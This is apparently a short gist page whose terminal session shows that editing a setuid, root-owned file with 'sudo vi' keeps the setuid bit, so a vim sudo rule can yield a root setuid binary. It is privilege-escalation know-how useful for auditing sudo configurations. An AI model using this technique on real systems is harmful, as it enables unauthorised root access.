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timb-machine/Abusing sudo vim to create setUIDs you control

Last active December 13, 2022 15:22
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Abusing sudo vim to create setUIDs you control
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Abusing sudo vim to create setUIDs you control
$ sudo chown root foo
Password:
$ sudo chmod u+rwxs foo
$ ls -la foo
-rwsr--r-- 1 root staff 0 13 Dec 15:19 foo
$ sudo vi foo
$ ls -la foo
-rwsr--r-- 1 root staff 1711088 13 Dec 15:19 foo
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